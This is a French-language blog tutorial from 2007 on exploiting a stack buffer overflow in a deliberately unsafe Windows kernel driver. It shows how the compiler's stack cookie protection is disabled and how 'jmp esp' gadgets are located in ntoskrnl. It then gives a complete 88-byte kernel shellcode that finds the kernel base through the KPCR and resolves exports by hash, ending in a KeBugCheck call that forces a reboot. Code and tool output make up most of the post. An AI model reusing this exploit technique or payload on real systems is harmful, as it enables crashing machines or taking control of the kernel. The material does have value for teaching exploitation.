Kernel BOF
mars 10th, 2007 at 10:17 admin
Il y a des matins on se lève, enfumé comme un renard, et pendant que l’on mange son bol de chocapics une réflexion apparaît, des pensées métaphysiques défilent dans notre tête, on se demande : « Pourquoi le monde ? Pourquoi les chocapics ? ». C’est pendant cette phase de cogitation intense que m’est venue l’idée de jouer avec des buffer overflows dans mon kernel, allez savoir, il y peut-être dans les chocapics une composante hallucinogène d’un champignon inconnu. Quoiqu’il en soit mon esprit torturé réfléchissait pendant les cours théoriques de confectionnent de crêpes au nutella (chose plus difficile qu’il n’y paraisse) aux différents problèmes que je pouvais rencontrer dans l’exploration d’une chose aussi magnifique que dangereuse. Après mass overclockage neuronal, défoncé au nutella, j’écris ce post, est-ce moi qui l’écrit vraiment ? Ou bien une entité diabolique a-t-elle possédé mon corps, à vous de juger.
Sachez dès le départ que l’exploitation d’un buffer overflow en KernelLand reste un simple détournement du flux d’exécution en contrôlant le pointeur d’instruction du programme. La vraie différence c’est qu’après avoir traversé le stargate il nous faut retrouver nos repères, c’est à dire avoir un payload adapté à l’environnement du noyau. Je vais diviser mon post en 2 parties, la première concernera la manière d’exploiter le débordement de tampon (triviale ici) et la seconde plus intéressante je pense, sur la conception du payload.
——–[bind s « +back;
Voici le code du driver unsafe qui va nous servir de cobaye pour l’expérience :
//IRQL = PASSIVE_LEVEL ULONG Mofo(PUCHAR Str) { UCHAR Buff[96]; DbgPrint("&Buff : 0x%xn", &Buff); //strcpy from ntoskrnl exports strcpy(Buff, Str); return 0; } //IRQL = PASSIVE_LEVEL NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject) { DbgPrint("Bye dude"); return STATUS_SUCCESS; } //IRQL = PASSIVE_LEVEL NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath) { char Over[128]; pDriverObject->DriverUnload=DriverUnload; DbgPrint("Hello Master"); memset(Over, 'a', sizeof(Over)-1); Mofo(Over); return STATUS_SUCCESS; }
Le strcpy() de la fonction Mofo() copie sans vérifier la longueur de Str son contenu dans le tambon Buff. Si on donne une string de plus de 96 bytes le strcpy va overwriter le savedEBP et le savedEIP dans la pile, rien de plus classique. Normalement le compilo du DDK ajoute une sécurité, un cookie dans la pile entre le buffer et le savedEBP, le code vérifie après si le cookie à été altéré et nous envoie un beau BSOD dans la face avec le code 0xF7, qui correspond à :
from bugcodes.h // // MessageId: DRIVER_OVERRAN_STACK_BUFFER // // MessageText: // // A driver has overrun a stack-based buffer. This overrun could potentially allow a malicious // user to gain control of this machine. // #define DRIVER_OVERRAN_STACK_BUFFER ((ULONG)0x000000F7L)
Pour pas m’embêter avec ce cookie, j’ai désactiver cette sécurité en mettant les variables BUFFER_OVERFLOW_CHECKS et NEW_CRTS du setenv.bat à 0, vous trouverez ce fichier dans le dossier \Bin de votre WINDDK.
Maintenant qu’on a le champ libre on peut enfin s’amuser. Comme nous sommes dans le kernel nous ne pouvons être sur de l’adresse de notre tampon Buff dans stack, c’est pourquoi nous ne pouvons modifier le savedEIP avec une valeur hardcodé sur le début de notre shellcode. J’ai choisi d’utiliser l’environnement afin d’obtenir ce qu’il me fallait pour réussir l’attaque. Juste avant l’instruction ‘ret’ la stack ressemble à cela :
[Buff 96 bytes]
[savedEBP]
[savedEIP] <- pointeur ESP
[argument Str]
Sachant que le ret est équivalent à un POP EIP et que donc l’ESP est incrémenté de 4, si nous remplaçons le savedEIP par l’adresse d’un jmp esp, notre flux d’exécution sera redirigé dans la stack sur les arguments pushés auparavant. Il suffit donc d’overwriter ces arguments et de mettre à la place un backjump vers notre shellcode qui est plus haut. Pour schématiser cela donne :
[NOP]
[SHELLCODE]
[addr d'un jmp esp]
[backjump dans les NOPs] <- lors du ret, esp pointe içi
Il me faut donc l’adresse d’un jmp esp dans le noyau, disponible de préférence dans le module principal ntoskrnl parce celui-ci est loadé à une adresse constante. Pour cela j’ai utilisé l’outil findjump2 de Hat-Squad qui load dans sa mémoire le module que l’on veut analyser et le scan pour retrouver les opcodes.
C:\RE>findjump.exe ntoskrnl.exe esp Findjmp, Eeye, I2S-LaB Findjmp2, Hat-Squad Scanning ntoskrnl.exe for code useable with the esp register 0x5345EB call esp 0x53BD7F jmp esp 0x53C2BB call esp 0x53EE63 call esp 0x543FE3 call esp 0x544457 jmp esp 0x54A5F7 call esp 0x54C37E call esp 0x561F93 call esp 0x562023 call esp 0x562133 call esp 0x56214B call esp 0x56260B call esp 0x5633AB call esp 0x56F1B1 jmp esp 0x5E8278 call esp 0x67A46B push esp - ret 0x6973AD jmp esp 0x6DCAC2 jmp esp Finished Scanning ntoskrnl.exe for code useable with the esp register Found 19 usable addresses
W00T on a la chance. Pour être plus précis ce jmp esp se situe dans la fonction ExTraceAllTables, mais ça on s’en fou, il est là et c’est le principal :]
lkd> u 0x804D7000+34457 nt!ExTraceAllTables+0x222: 8050b457 ffe4 jmp esp
Clairement il eut été plus simple de mettre le shellcode au même endroit que le backjump et de sauter dessus avec un jmp et quand j’y pense les NOP ils ne servent à rien en fait foutu chocapics hallucinogènes…
——–[ KaBoom Machine !
Le shellcode se décompose en 2 parties, en premier on doit obtenir l’ImageBase de ntoskrnl.exe en mémoire et scanner l’export table afin d’y retrouver les fonctions dont notre shellcode aura besoin, ensuite lancer notre attaque pour conquérir le monde !
Vous vous dîtes sûrement qu’il serait plus simple d’hardcodé les adresses des fonctions dans le shellcode, certes cela est possible mais le problème c’est que votre shellcode sera dépendant de la plate-forme sur laquelle il sera exécuté, le noyau et ses fonctions n’étant pas loadés aux même endroits selon les différentes versions de Windows ; Petit tableau pour vous en convaincre :}
Version ImageBase du noyau
Windows 2000 SP4 0×80400000
Windows XP SP0 0x804d0000
Windows XP SP2 0x804d7000
Windows 2003 SP1 0×80800000
Notre shellcode devra donc être « générique » c’est à dire capable de se retrouver dans n’importe quel environnement.
Dans le volume 3 de uninformed Bugcheck et Skape présentaient différentes méthodes pour retrouver l’ImageBase de ntoskrnl, le gros défauts c’est quelles fonctionnent en scannant la mémoire utilisant ainsi 17 octects de shellcode au minimum pour retrouver l’adresse de base de ntoskrnl, perso je trouve que ça sux un peu des gnu. Il existe une méthode beaucoup plus rapide et plus simple pour faire cela. Dans le KernelLand, au début du segment fs se trouve une structure appelée KPCR (Kernel Processor Control Region), dans cette structure on trouve (un petit chat lol?) un pointeur nommé KdVersionBlock :
lkd> dt nt!_KPCR +0x000 NtTib : _NT_TIB +0x01c SelfPcr : Ptr32 _KPCR +0x020 Prcb : Ptr32 _KPRCB +0x024 Irql : UChar +0x028 IRR : Uint4B +0x02c IrrActive : Uint4B +0x030 IDR : Uint4B +0x034 KdVersionBlock : Ptr32 Void [...]
Les symboles fournis par MS ne donnent quel est le type du pointeur, en fait il s’agit d’un pointeur sur une structure _DBGKD_GET_VERSION64 ; ne venez pas me demander ou j’ai trouvé ça sinon je devrais vous tuer :p
lkd> dt nt!_DBGKD_GET_VERSION64 +0x000 MajorVersion : Uint2B +0x002 MinorVersion : Uint2B +0x004 ProtocolVersion : Uint2B +0x006 Flags : Uint2B +0x008 MachineType : Uint2B +0x00a MaxPacketType : UChar +0x00b MaxStateChange : UChar +0x00c MaxManipulate : UChar +0x00d Simulation : UChar +0x00e Unused : [1] Uint2B +0x010 KernBase : Uint8B +0x018 PsLoadedModuleList : Uint8B +0x020 DebuggerDataList : Uint8B
Et dans cette structure (admirez l’effet de suspense poupée russe) on à le champ KernBase qui contient l’ImageBase de notre kernel, ce qui nous permet d’aboutir ou bout de shellcode suivant :
6A34 push 0x34 5B pop ebx //ebx=34 648B1B mov ebx, dword ptr fs:[ebx] //KPCR + 0x034 -> KdVersionBlock (ptr to an _DBGKD_GET_VERSION64 structure) 8B6B10 mov ebp, dword ptr [ebx+0x10] //KdVersionBlock + 0x10 -> KernBase;
Hé ouais 9 bytes, on fait mieux que les gars de uninformed, nanananère ! :]
L’équivalent en userland consiste à retrouver l’ImageBase de kernel32 réaliser à l’aide du shellcode suivant :
push 0x30 pop ebx mov eax, fs:[ebx] //Sur le PEB, fs pointe sur TEB mov ebx, [eax+0x0C] //PEB->LoaderData mov eax, dword ptr [ebx+0x1C] //LoaderData->InitializationOrderModule.Flink mov ebx, dword ptr [eax] //Next Flink mov ebp, dword ptr [ebx+0x8] //ImageBase Kernel32
Maintenant qu’on à notre ImageBase il suffit de retrouver dans le PE Header l’export table et de la scanner pour y récupérer notre matos. L’export table est conçu de cette façon :
typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; DWORD TimeDateStamp; WORD MajorVersion; WORD MinorVersion; DWORD Name; DWORD Base; DWORD NumberOfFunctions; DWORD NumberOfNames; DWORD AddressOfFunctions; // RVA from base of image DWORD AddressOfNames; // RVA from base of image DWORD AddressOfNameOrdinals; // RVA from base of image } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
On va devoir émuler le fonctionnement de la fonction GetProcAddress, je m’explique :
Le champ AddressOfNames contient une RVA (Relative Virtual Address) sur un tableau de RVA pointant sur les noms de fonctions.
La fonction dont le nom se situe à l’indice i dans le tableau des noms à son adresse (sous la forme d’une RVA) dans le champ AddressOfFunctions à l’indice AddressOfNameOrdinals[i]. WTF !?. En fait cette technique permet d’avoir des fonctions « alias » : si par exemple on a 2 fonctions aux noms différents, mais faisant la même chose donc ayant un seul code, situées à l’indice i et j dans le tableau AddressOfNames, on aura dans le tableau AddressOfNameOrdinals aux indices i et j la même valeur k qui est l’indice dans le tableau AddressOfFunctions d’une RVA sur le code.
Reste encore un détail à régler, il nous faut un moment comparer 2 chaînes de caractères : celle de la fonction qu’on cherche et celle de la fonction scannée. Avoir dans un shellcode une ou de string(s) ça sux à fond ffs. D’où l’idée du groupe LSD (Last Stage Delirium), des grands défoncés aux champignons aussi, d’associer à chaque fonction un hash, après il suffit de comparer les hash entre eux, ce qui nous fait gagner pas mal de bytes. L’algorithme de hash est le suivant, très simple (mais efficace) afin d’utiliser le moins d’instructions possibles ; Un simple couple ror/sum.
#include#define ROR32(x,b) (((x) >> (b)) | ((x) << (32 - (b)))) int main (int argc, char * argv[]) { unsigned int i, hash=0; if(argc !=2) return 0; for(i=0; *(argv[1]+i)!=0; i++) { hash=ROR32(hash, 0xD); hash+=*(argv[1]+i); } printf("Hash de %s: 0x%xn", argv[1], hash); }
Enfin, après avoir récupéré les adresses des fonctions de ntoskrnl, il ne reste plus qu’a lancé notre diabolique attaque. Pour tripper j’ai décidé d’utilisé d’appeler la fonction KeBugCheck, celle-ci même qui est appelé lors d’un BSOD, avec comme argument une valeur, celle de POWER_FAILURE_SIMULATE qui comme la dit Alex Ionescu sur son blog reboot le système sans passer par la case BSOD : « No BSOD, no crash dump, just a clean, simple, immediate reboot. » :]
Au final on obtient donc le shellcode de 88 bytes suivant :
__asm{ pushad push ebp push 34h pop ebx //ebx=34 mov ebx, dword ptr fs:[ebx] //KPCR + 0x034 -> KdVersionBlock (ptr to an _DBGKD_GET_VERSION64 structure) mov ebp, dword ptr [ebx+0x10] //KdVersionBlock + 0x10 -> KernBase; //ebp= ImageBase //edx= IMAGE_EXPORT_DIRECTORY //ecx= compteur de NumberOfNames //esi= ptr sur les Noms //eax et edi calcul du hash //ebx= AddressOfNames mov eax, dword ptr [ebp+0x3c] //'MZ'+ 0x3c = e_lfanew (offset 'PE', 0x4550) mov edx, dword ptr [ebp+eax+0x78] //PE'+0x78 = début IMAGE_DIRECTORY_ENTRY_EXPORT * 'PE'+0x78 = VirtualAddress add edx, ebp //RVA -> VA EDX contient la l'addr de la struct IMAGE_EXPORT_DIRECTORY mov ebx, dword ptr [edx+0x20] //IMAGE_EXPORT_DIRECTORY + 0x20 -> rva AddressOfNames add ebx, ebp // RVA -> VA mov ecx, dword ptr [edx+0x18] //IMAGE_EXPORT_DIRECTORY + 0x18 -> rva NumberOfNames find_function: dec ecx // on scan de NumberOfNames-1 à 0 mov esi, dword ptr [ebx+ecx*4] //esi RVA Addr Name add esi, ebp //VA name xor edi, edi //edi=0 xor eax, eax //eax=0 cld //CLD - Clear Direction Flag, lodsb va de la gauche vers droite de la string hash: lodsb // LODSB Load byte at address DS:(E)SI into AL test al, al //fin du Name ? jz endhash ror edi, 0x0d add edi, eax jmp hash endhash: cmp edi, 0xb9f2aa1f //ApiHash KEBugCheck jne find_function mov eax, dword ptr [edx+0x24] //IMAGE_EXPORT_DIRECTORY + 0x24 -> rva AdressOfNameOrdinals add eax, ebp //VA AddressOfNameOrdinals mov cx, word ptr [eax+ecx*2] //Ordinal de la fonction mov eax, dword ptr [edx+0x1c] //IMAGE_EXPORT_DIRECTORY + 0x1c -> rva AddressOfFunctions add eax, ebp //VA AddressOfFunctions mov eax, dword ptr [eax+ecx*4] //rva Fonction add eax, ebp //rva -> VA xor ebx, ebx //EBX=0 mov bl, 0xE5 //POWER_FAILURE_SIMULATE push ebx call eax //Call sur KEBugCheck //on arrive jms là car on a kaboom la box :} pop ebp popad }
Ce paper avait pour but de montrer que même si le nom fait peur, un overflow dans le kernel reste un overflow, j’espère que cela vous a plus et que vous avez eu en le lisant autant de plaisir que moi j’ai eu à l’écrire :]
Vous trouvez les codes içi :
http://ivanlef0u.fr/repo/KBOF.rar
Ivanlef0u
Références :
findjump2 :
http://governmentsecurity.org/archive/t13781.html
Windows Kernel-mode Payload Fundamentals :
http://www.uninformed.org/?v=3&a=4&t=sumry
Win32 Assembly Components (sur mon repo) :
http://ivanlef0u.fr/repo/windoz/shellcoding/winasm-1.0.1.pdf
Rebooting from Kernel Mode :
http://www.alex-ionescu.com/?p=29
Entry Filed under: Non classé
2 Comments
1. newsoft | mars 11th, 2007 at 12:08
In real life :
« Windows Kernel Device Driver Exploit »
http://xcon.xfocus.org/xcon2004/index.html
Avec PoC complet vs. Firewall Symantec
2. avijeet | octobre 19th, 2012 at 20:33
not able to download KBOF from the link asking for user name and password
Trackback this post